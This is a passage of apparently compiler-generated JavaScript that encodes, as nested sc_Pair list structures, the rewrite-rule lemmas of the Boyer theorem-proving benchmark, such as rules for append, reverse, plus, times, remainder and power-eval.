sc_Pair("\u1E9Ci",null)))),(new sc_Pair((new sc_Pair("\u1E9Cfact-loop",(new sc_Pair("\u1E9Ci",(new sc_Pair((1),null)))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Creverse-",(new sc_Pair("\u1E9Cx",null)))),(new sc_Pair((new sc_Pair("\u1E9Creverse-loop",(new sc_Pair("\u1E9Cx",(new sc_Pair((new sc_Pair("\u1E9Cnil",null)),null)))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cdivides",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Cy",null)))))),(new sc_Pair((new sc_Pair("\u1E9Czerop",(new sc_Pair((new sc_Pair("\u1E9Cremainder",(new sc_Pair("\u1E9Cy",(new sc_Pair("\u1E9Cx",null)))))),null)))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cassume-true",(new sc_Pair("\u1E9Cvar",(new sc_Pair("\u1E9Calist",null)))))),(new sc_Pair((new sc_Pair("\u1E9Ccons",(new sc_Pair((new sc_Pair("\u1E9Ccons",(new sc_Pair("\u1E9Cvar",(new sc_Pair((new sc_Pair("\u1E9Ct",null)),null)))))),(new sc_Pair("\u1E9Calist",null)))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cassume-false",(new sc_Pair("\u1E9Cvar",(new sc_Pair("\u1E9Calist",null)))))),(new sc_Pair((new sc_Pair("\u1E9Ccons",(new sc_Pair((new sc_Pair("\u1E9Ccons",(new sc_Pair("\u1E9Cvar",(new sc_Pair((new sc_Pair("\u1E9Cf",null)),null)))))),(new sc_Pair("\u1E9Calist",null)))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Ctautology-checker",(new sc_Pair("\u1E9Cx",null)))),(new sc_Pair((new sc_Pair("\u1E9Ctautologyp",(new sc_Pair((new sc_Pair("\u1E9Cnormalize",(new sc_Pair("\u1E9Cx",null)))),(new sc_Pair((new sc_Pair("\u1E9Cnil",null)),null)))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cfalsify",(new sc_Pair("\u1E9Cx",null)))),(new sc_Pair((new sc_Pair("\u1E9Cfalsify1",(new sc_Pair((new sc_Pair("\u1E9Cnormalize",(new sc_Pair("\u1E9Cx",null)))),(new sc_Pair((new sc_Pair("\u1E9Cnil",null)),null)))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cprime",(new sc_Pair("\u1E9Cx",null)))),(new sc_Pair((new sc_Pair("\u1E9Cand",(new sc_Pair((new sc_Pair("\u1E9Cnot",(new sc_Pair((new sc_Pair("\u1E9Czerop",(new sc_Pair("\u1E9Cx",null)))),null)))),(new sc_Pair((new sc_Pair("\u1E9Cnot",(new sc_Pair((new sc_Pair("\u1E9Cequal",(new sc_Pair("\u1E9Cx",(new sc_Pair((new sc_Pair("\u1E9Cadd1",(new sc_Pair((new sc_Pair("\u1E9Czero",null)),null)))),null)))))),null)))),(new sc_Pair((new sc_Pair("\u1E9Cprime1",(new sc_Pair("\u1E9Cx",(new sc_Pair((new sc_Pair("\u1E9Csub1",(new sc_Pair("\u1E9Cx",null)))),null)))))),null)))))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cand",(new sc_Pair("\u1E9Cp",(new sc_Pair("\u1E9Cq",null)))))),(new sc_Pair((new sc_Pair("\u1E9Cif",(new sc_Pair("\u1E9Cp",(new sc_Pair((new sc_Pair("\u1E9Cif",(new sc_Pair("\u1E9Cq",(new sc_Pair((new sc_Pair("\u1E9Ct",null)),(new sc_Pair((new sc_Pair("\u1E9Cf",null)),null)))))))),(new sc_Pair((new sc_Pair("\u1E9Cf",null)),null)))))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cor",(new sc_Pair("\u1E9Cp",(new sc_Pair("\u1E9Cq",null)))))),(new sc_Pair((new sc_Pair("\u1E9Cif",(new sc_Pair("\u1E9Cp",(new sc_Pair((new sc_Pair("\u1E9Ct",null)),(new sc_Pair((new sc_Pair("\u1E9Cif",(new sc_Pair("\u1E9Cq",(new sc_Pair((new sc_Pair("\u1E9Ct",null)),(new sc_Pair((new sc_Pair("\u1E9Cf",null)),null)))))))),null)))))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cnot",(new sc_Pair("\u1E9Cp",null)))),(new sc_Pair((new sc_Pair("\u1E9Cif",(new sc_Pair("\u1E9Cp",(new sc_Pair((new sc_Pair("\u1E9Cf",null)),(new sc_Pair((new sc_Pair("\u1E9Ct",null)),null)))))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cimplies",(new sc_Pair("\u1E9Cp",(new sc_Pair("\u1E9Cq",null)))))),(new sc_Pair((new sc_Pair("\u1E9Cif",(new sc_Pair("\u1E9Cp",(new sc_Pair((new sc_Pair("\u1E9Cif",(new sc_Pair("\u1E9Cq",(new sc_Pair((new sc_Pair("\u1E9Ct",null)),(new sc_Pair((new sc_Pair("\u1E9Cf",null)),null)))))))),(new sc_Pair((new sc_Pair("\u1E9Ct",null)),null)))))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cfix",(new sc_Pair("\u1E9Cx",null)))),(new sc_Pair((new sc_Pair("\u1E9Cif",(new sc_Pair((new sc_Pair("\u1E9Cnumberp",(new sc_Pair("\u1E9Cx",null)))),(new sc_Pair("\u1E9Cx",(new sc_Pair((new sc_Pair("\u1E9Czero",null)),null)))))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cif",(new sc_Pair((new sc_Pair("\u1E9Cif",(new sc_Pair("\u1E9Ca",(new sc_Pair("\u1E9Cb",(new sc_Pair("\u1E9Cc",null)))))))),(new sc_Pair("\u1E9Cd",(new sc_Pair("\u1E9Ce",null)))))))),(new sc_Pair((new sc_Pair("\u1E9Cif",(new sc_Pair("\u1E9Ca",(new sc_Pair((new sc_Pair("\u1E9Cif",(new sc_Pair("\u1E9Cb",(new sc_Pair("\u1E9Cd",(new sc_Pair("\u1E9Ce",null)))))))),(new sc_Pair((new sc_Pair("\u1E9Cif",(new sc_Pair("\u1E9Cc",(new sc_Pair("\u1E9Cd",(new sc_Pair("\u1E9Ce",null)))))))),null)))))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Czerop",(new sc_Pair("\u1E9Cx",null)))),(new sc_Pair((new sc_Pair("\u1E9Cor",(new sc_Pair((new sc_Pair("\u1E9Cequal",(new sc_Pair("\u1E9Cx",(new sc_Pair((new sc_Pair("\u1E9Czero",null)),null)))))),(new sc_Pair((new sc_Pair("\u1E9Cnot",(new sc_Pair((new sc_Pair("\u1E9Cnumberp",(new sc_Pair("\u1E9Cx",null)))),null)))),null)))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cplus",(new sc_Pair((new sc_Pair("\u1E9Cplus",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Cy",null)))))),(new sc_Pair("\u1E9Cz",null)))))),(new sc_Pair((new sc_Pair("\u1E9Cplus",(new sc_Pair("\u1E9Cx",(new sc_Pair((new sc_Pair("\u1E9Cplus",(new sc_Pair("\u1E9Cy",(new sc_Pair("\u1E9Cz",null)))))),null)))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cplus",(new sc_Pair("\u1E9Ca",(new sc_Pair("\u1E9Cb",null)))))),(new sc_Pair((new sc_Pair("\u1E9Czero",null)),null)))))),(new sc_Pair((new sc_Pair("\u1E9Cand",(new sc_Pair((new sc_Pair("\u1E9Czerop",(new sc_Pair("\u1E9Ca",null)))),(new sc_Pair((new sc_Pair("\u1E9Czerop",(new sc_Pair("\u1E9Cb",null)))),null)))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cdifference",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Cx",null)))))),(new sc_Pair((new sc_Pair("\u1E9Czero",null)),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cplus",(new sc_Pair("\u1E9Ca",(new sc_Pair("\u1E9Cb",null)))))),(new sc_Pair((new sc_Pair("\u1E9Cplus",(new sc_Pair("\u1E9Ca",(new sc_Pair("\u1E9Cc",null)))))),null)))))),(new sc_Pair((new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cfix",(new sc_Pair("\u1E9Cb",null)))),(new sc_Pair((new sc_Pair("\u1E9Cfix",(new sc_Pair("\u1E9Cc",null)))),null)))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Czero",null)),(new sc_Pair((new sc_Pair("\u1E9Cdifference",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Cy",null)))))),null)))))),(new sc_Pair((new sc_Pair("\u1E9Cnot",(new sc_Pair((new sc_Pair("\u1E9Clessp",(new sc_Pair("\u1E9Cy",(new sc_Pair("\u1E9Cx",null)))))),null)))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cequal",(new sc_Pair("\u1E9Cx",(new sc_Pair((new sc_Pair("\u1E9Cdifference",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Cy",null)))))),null)))))),(new sc_Pair((new sc_Pair("\u1E9Cand",(new sc_Pair((new sc_Pair("\u1E9Cnumberp",(new sc_Pair("\u1E9Cx",null)))),(new sc_Pair((new sc_Pair("\u1E9Cor",(new sc_Pair((new sc_Pair("\u1E9Cequal",(new sc_Pair("\u1E9Cx",(new sc_Pair((new sc_Pair("\u1E9Czero",null)),null)))))),(new sc_Pair((new sc_Pair("\u1E9Czerop",(new sc_Pair("\u1E9Cy",null)))),null)))))),null)))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cmeaning",(new sc_Pair((new sc_Pair("\u1E9Cplus-tree",(new sc_Pair((new sc_Pair("\u1E9Cappend",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Cy",null)))))),null)))),(new sc_Pair("\u1E9Ca",null)))))),(new sc_Pair((new sc_Pair("\u1E9Cplus",(new sc_Pair((new sc_Pair("\u1E9Cmeaning",(new sc_Pair((new sc_Pair("\u1E9Cplus-tree",(new sc_Pair("\u1E9Cx",null)))),(new sc_Pair("\u1E9Ca",null)))))),(new sc_Pair((new sc_Pair("\u1E9Cmeaning",(new sc_Pair((new sc_Pair("\u1E9Cplus-tree",(new sc_Pair("\u1E9Cy",null)))),(new sc_Pair("\u1E9Ca",null)))))),null)))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cmeaning",(new sc_Pair((new sc_Pair("\u1E9Cplus-tree",(new sc_Pair((new sc_Pair("\u1E9Cplus-fringe",(new sc_Pair("\u1E9Cx",null)))),null)))),(new sc_Pair("\u1E9Ca",null)))))),(new sc_Pair((new sc_Pair("\u1E9Cfix",(new sc_Pair((new sc_Pair("\u1E9Cmeaning",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Ca",null)))))),null)))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cappend",(new sc_Pair((new sc_Pair("\u1E9Cappend",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Cy",null)))))),(new sc_Pair("\u1E9Cz",null)))))),(new sc_Pair((new sc_Pair("\u1E9Cappend",(new sc_Pair("\u1E9Cx",(new sc_Pair((new sc_Pair("\u1E9Cappend",(new sc_Pair("\u1E9Cy",(new sc_Pair("\u1E9Cz",null)))))),null)))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Creverse",(new sc_Pair((new sc_Pair("\u1E9Cappend",(new sc_Pair("\u1E9Ca",(new sc_Pair("\u1E9Cb",null)))))),null)))),(new sc_Pair((new sc_Pair("\u1E9Cappend",(new sc_Pair((new sc_Pair("\u1E9Creverse",(new sc_Pair("\u1E9Cb",null)))),(new sc_Pair((new sc_Pair("\u1E9Creverse",(new sc_Pair("\u1E9Ca",null)))),null)))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Ctimes",(new sc_Pair("\u1E9Cx",(new sc_Pair((new sc_Pair("\u1E9Cplus",(new sc_Pair("\u1E9Cy",(new sc_Pair("\u1E9Cz",null)))))),null)))))),(new sc_Pair((new sc_Pair("\u1E9Cplus",(new sc_Pair((new sc_Pair("\u1E9Ctimes",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Cy",null)))))),(new sc_Pair((new sc_Pair("\u1E9Ctimes",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Cz",null)))))),null)))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Ctimes",(new sc_Pair((new sc_Pair("\u1E9Ctimes",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Cy",null)))))),(new sc_Pair("\u1E9Cz",null)))))),(new sc_Pair((new sc_Pair("\u1E9Ctimes",(new sc_Pair("\u1E9Cx",(new sc_Pair((new sc_Pair("\u1E9Ctimes",(new sc_Pair("\u1E9Cy",(new sc_Pair("\u1E9Cz",null)))))),null)))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Ctimes",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Cy",null)))))),(new sc_Pair((new sc_Pair("\u1E9Czero",null)),null)))))),(new sc_Pair((new sc_Pair("\u1E9Cor",(new sc_Pair((new sc_Pair("\u1E9Czerop",(new sc_Pair("\u1E9Cx",null)))),(new sc_Pair((new sc_Pair("\u1E9Czerop",(new sc_Pair("\u1E9Cy",null)))),null)))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cexec",(new sc_Pair((new sc_Pair("\u1E9Cappend",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Cy",null)))))),(new sc_Pair("\u1E9Cpds",(new sc_Pair("\u1E9Cenvrn",null)))))))),(new sc_Pair((new sc_Pair("\u1E9Cexec",(new sc_Pair("\u1E9Cy",(new sc_Pair((new sc_Pair("\u1E9Cexec",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Cpds",(new sc_Pair("\u1E9Cenvrn",null)))))))),(new sc_Pair("\u1E9Cenvrn",null)))))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cmc-flatten",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Cy",null)))))),(new sc_Pair((new sc_Pair("\u1E9Cappend",(new sc_Pair((new sc_Pair("\u1E9Cflatten",(new sc_Pair("\u1E9Cx",null)))),(new sc_Pair("\u1E9Cy",null)))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cmember",(new sc_Pair("\u1E9Cx",(new sc_Pair((new sc_Pair("\u1E9Cappend",(new sc_Pair("\u1E9Ca",(new sc_Pair("\u1E9Cb",null)))))),null)))))),(new sc_Pair((new sc_Pair("\u1E9Cor",(new sc_Pair((new sc_Pair("\u1E9Cmember",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Ca",null)))))),(new sc_Pair((new sc_Pair("\u1E9Cmember",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Cb",null)))))),null)))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cmember",(new sc_Pair("\u1E9Cx",(new sc_Pair((new sc_Pair("\u1E9Creverse",(new sc_Pair("\u1E9Cy",null)))),null)))))),(new sc_Pair((new sc_Pair("\u1E9Cmember",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Cy",null)))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Clength",(new sc_Pair((new sc_Pair("\u1E9Creverse",(new sc_Pair("\u1E9Cx",null)))),null)))),(new sc_Pair((new sc_Pair("\u1E9Clength",(new sc_Pair("\u1E9Cx",null)))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cmember",(new sc_Pair("\u1E9Ca",(new sc_Pair((new sc_Pair("\u1E9Cintersect",(new sc_Pair("\u1E9Cb",(new sc_Pair("\u1E9Cc",null)))))),null)))))),(new sc_Pair((new sc_Pair("\u1E9Cand",(new sc_Pair((new sc_Pair("\u1E9Cmember",(new sc_Pair("\u1E9Ca",(new sc_Pair("\u1E9Cb",null)))))),(new sc_Pair((new sc_Pair("\u1E9Cmember",(new sc_Pair("\u1E9Ca",(new sc_Pair("\u1E9Cc",null)))))),null)))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cnth",(new sc_Pair((new sc_Pair("\u1E9Czero",null)),(new sc_Pair("\u1E9Ci",null)))))),(new sc_Pair((new sc_Pair("\u1E9Czero",null)),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cexp",(new sc_Pair("\u1E9Ci",(new sc_Pair((new sc_Pair("\u1E9Cplus",(new sc_Pair("\u1E9Cj",(new sc_Pair("\u1E9Ck",null)))))),null)))))),(new sc_Pair((new sc_Pair("\u1E9Ctimes",(new sc_Pair((new sc_Pair("\u1E9Cexp",(new sc_Pair("\u1E9Ci",(new sc_Pair("\u1E9Cj",null)))))),(new sc_Pair((new sc_Pair("\u1E9Cexp",(new sc_Pair("\u1E9Ci",(new sc_Pair("\u1E9Ck",null)))))),null)))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cexp",(new sc_Pair("\u1E9Ci",(new sc_Pair((new sc_Pair("\u1E9Ctimes",(new sc_Pair("\u1E9Cj",(new sc_Pair("\u1E9Ck",null)))))),null)))))),(new sc_Pair((new sc_Pair("\u1E9Cexp",(new sc_Pair((new sc_Pair("\u1E9Cexp",(new sc_Pair("\u1E9Ci",(new sc_Pair("\u1E9Cj",null)))))),(new sc_Pair("\u1E9Ck",null)))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Creverse-loop",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Cy",null)))))),(new sc_Pair((new sc_Pair("\u1E9Cappend",(new sc_Pair((new sc_Pair("\u1E9Creverse",(new sc_Pair("\u1E9Cx",null)))),(new sc_Pair("\u1E9Cy",null)))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Creverse-loop",(new sc_Pair("\u1E9Cx",(new sc_Pair((new sc_Pair("\u1E9Cnil",null)),null)))))),(new sc_Pair((new sc_Pair("\u1E9Creverse",(new sc_Pair("\u1E9Cx",null)))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Ccount-list",(new sc_Pair("\u1E9Cz",(new sc_Pair((new sc_Pair("\u1E9Csort-lp",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Cy",null)))))),null)))))),(new sc_Pair((new sc_Pair("\u1E9Cplus",(new sc_Pair((new sc_Pair("\u1E9Ccount-list",(new sc_Pair("\u1E9Cz",(new sc_Pair("\u1E9Cx",null)))))),(new sc_Pair((new sc_Pair("\u1E9Ccount-list",(new sc_Pair("\u1E9Cz",(new sc_Pair("\u1E9Cy",null)))))),null)))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cappend",(new sc_Pair("\u1E9Ca",(new sc_Pair("\u1E9Cb",null)))))),(new sc_Pair((new sc_Pair("\u1E9Cappend",(new sc_Pair("\u1E9Ca",(new sc_Pair("\u1E9Cc",null)))))),null)))))),(new sc_Pair((new sc_Pair("\u1E9Cequal",(new sc_Pair("\u1E9Cb",(new sc_Pair("\u1E9Cc",null)))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cplus",(new sc_Pair((new sc_Pair("\u1E9Cremainder",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Cy",null)))))),(new sc_Pair((new sc_Pair("\u1E9Ctimes",(new sc_Pair("\u1E9Cy",(new sc_Pair((new sc_Pair("\u1E9Cquotient",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Cy",null)))))),null)))))),null)))))),(new sc_Pair((new sc_Pair("\u1E9Cfix",(new sc_Pair("\u1E9Cx",null)))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cpower-eval",(new sc_Pair((new sc_Pair("\u1E9Cbig-plus1",(new sc_Pair("\u1E9Cl",(new sc_Pair("\u1E9Ci",(new sc_Pair("\u1E9Cbase",null)))))))),(new sc_Pair("\u1E9Cbase",null)))))),(new sc_Pair((new sc_Pair("\u1E9Cplus",(new sc_Pair((new sc_Pair("\u1E9Cpower-eval",(new sc_Pair("\u1E9Cl",(new sc_Pair("\u1E9Cbase",null)))))),(new sc_Pair("\u1E9Ci",null)))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cpower-eval",(new sc_Pair((new sc_Pair("\u1E9Cbig-plus",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Cy",(new sc_Pair("\u1E9Ci",(new sc_Pair("\u1E9Cbase",null)))))))))),(new sc_Pair("\u1E9Cbase",null)))))),(new sc_Pair((new sc_Pair("\u1E9Cplus",(new sc_Pair("\u1E9Ci",(new sc_Pair((new sc_Pair("\u1E9Cplus",(new sc_Pair((new sc_Pair("\u1E9Cpower-eval",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Cbase",null)))))),(new sc_Pair((new sc_Pair("\u1E9Cpower-eval",(new sc_Pair("\u1E9Cy",(new sc_Pair("\u1E9Cbase",null)))))),null)))))),null)))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cremainder",(new sc_Pair("\u1E9Cy",(new sc_Pair((1),null)))))),(new sc_Pair((new sc_Pair("\u1E9Czero",null)),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Clessp",(new sc_Pair((new sc_Pair("\u1E9Cremainder",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Cy",null)))))),(new sc_Pair("\u1E9Cy",null)))))),(new sc_Pair((new sc_Pair("\u1E9Cnot",(new sc_Pair((new sc_Pair("\u1E9Czerop",(new sc_Pair("\u1E9Cy",null)))),null)))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cremainder",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Cx",null)))))),(new sc_Pair((new sc_Pair("\u1E9Czero",null)),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Clessp",(new sc_Pair((new sc_Pair("\u1E9Cquotient",(new sc_Pair("\u1E9Ci",(new sc_Pair("\u1E9Cj",null)))))),(new sc_Pair("\u1E9Ci",null)))))),(new sc_Pair((new sc_Pair("\u1E9Cand",(new sc_Pair((new sc_Pair("\u1E9Cnot",(new sc_Pair((new sc_Pair("\u1E9Czerop",(new sc_Pair("\u1E9Ci",null)))),null)))),(new sc_Pair((new sc_Pair("\u1E9Cor",(new sc_Pair((new sc_Pair("\u1E9Czerop",(new sc_Pair("\u1E9Cj",null)))),(new sc_Pair((new sc_Pair("\u1E9Cnot",(new sc_Pair((new sc_Pair("\u1E9Cequal",(new sc_Pair("\u1E9Cj",(new sc_Pair((1),null)))))),null)))),null)))))),null)))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Clessp",(new sc_Pair((new sc_Pair("\u1E9Cremainder",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Cy",null)))))),(new sc_Pair("\u1E9Cx",null)))))),(new sc_Pair((new sc_Pair("\u1E9Cand",(new sc_Pair((new sc_Pair("\u1E9Cnot",(new sc_Pair((new sc_Pair("\u1E9Czerop",(new sc_Pair("\u1E9Cy",null)))),null)))),(new sc_Pair((new sc_Pair("\u1E9Cnot",(new sc_Pair((new sc_Pair("\u1E9Czerop",(new sc_Pair("\u1E9Cx",null)))),null)))),(new sc_Pair((new sc_Pair("\u1E9Cnot",(new sc_Pair((new sc_Pair("\u1E9Clessp",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Cy",null)))))),null)))),null)))))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cpower-eval",(new sc_Pair((new sc_Pair("\u1E9Cpower-rep",(new sc_Pair("\u1E9Ci",(new sc_Pair("\u1E9Cbase",null)))))),(new sc_Pair("\u1E9Cbase",null)))))),(new sc_Pair((new sc_Pair("\u1E9Cfix",(new sc_Pair("\u1E9Ci",null)))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cpower-eval",(new sc_Pair((new sc_Pair("\u1E9Cbig-plus",(new sc_Pair((new sc_Pair("\u1E9Cpower-rep",(new sc_Pair("\u1E9Ci",(new sc_Pair("\u1E9Cbase",null)))))),(new sc_Pair((new sc_Pair("\u1E9Cpower-rep",(new sc_Pair("\u1E9Cj",(new sc_Pair("\u1E9Cbase",null)))))),(new sc_Pair((new sc_Pair("\u1E9Czero",null)),(new sc_Pair("\u1E9Cbase",null)))))))))),(new sc_Pair("\u1E9Cbase",null)))))),(new sc_Pair((new sc_Pair("\u1E9Cplus",(new sc_Pair("\u1E9Ci",(new sc_Pair("\u1E9Cj",null)))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cgcd",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Cy",null)))))),(new sc_Pair((new sc_Pair("\u1E9Cgcd",(new sc_Pair("\u1E9Cy",(new sc_Pair("\u1E9Cx",null)))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cnth",(new sc_Pair((new sc_Pair("\u1E9Cappend",(new sc_Pair("\u1E9Ca",(new sc_Pair("\u1E9Cb",null)))))),(new sc_Pair("\u1E9Ci",null)))))),(new sc_Pair((new sc_Pair("\u1E9Cappend",(new sc_Pair((new sc_Pair("\u1E9Cnth",(new sc_Pair("\u1E9Ca",(new sc_Pair("\u1E9Ci",null)))))),(new sc_Pair((new sc_Pair("\u1E9Cnth",(new sc_Pair("\u1E9Cb",(new sc_Pair((new sc_Pair("\u1E9Cdifference",(new sc_Pair("\u1E9Ci",(new sc_Pair((new sc_Pair("\u1E9Clength",(new sc_Pair("\u1E9Ca",null)))),null)))))),null)))))),null)))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cdifference",(new sc_Pair((new sc_Pair("\u1E9Cplus",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Cy",null)))))),(new sc_Pair("\u1E9Cx",null)))))),(new sc_Pair((new sc_Pair("\u1E9Cfix",(new sc_Pair("\u1E9Cy",null)))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cdifference",(new sc_Pair((new sc_Pair("\u1E9Cplus",(new sc_Pair("\u1E9Cy",(new sc_Pair("\u1E9Cx",null)))))),(new sc_Pair("\u1E9Cx",null)))))),(new sc_Pair((new sc_Pair("\u1E9Cfix",(new sc_Pair("\u1E9Cy",null)))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cdifference",(new sc_Pair((new sc_Pair("\u1E9Cplus",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Cy",null)))))),(new sc_Pair((new sc_Pair("\u1E9Cplus",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Cz",null)))))),null)))))),(new sc_Pair((new sc_Pair("\u1E9Cdifference",(new sc_Pair("\u1E9Cy",(new sc_Pair("\u1E9Cz",null)))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Ctimes",(new sc_Pair("\u1E9Cx",(new sc_Pair((new sc_Pair("\u1E9Cdifference",(new sc_Pair("\u1E9Cc",(new sc_Pair("\u1E9Cw",null)))))),null)))))),(new sc_Pair((new sc_Pair("\u1E9Cdifference",(new sc_Pair((new sc_Pair("\u1E9Ctimes",(new sc_Pair("\u1E9Cc",(new sc_Pair("\u1E9Cx",null)))))),(new sc_Pair((new sc_Pair("\u1E9Ctimes",(new sc_Pair("\u1E9Cw",(new sc_Pair("\u1E9Cx",null)))))),null)))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cremainder",(new sc_Pair((new sc_Pair("\u1E9Ctimes",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Cz",null)))))),(new sc_Pair("\u1E9Cz",null)))))),(new sc_Pair((new sc_Pair("\u1E9Czero",null)),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new 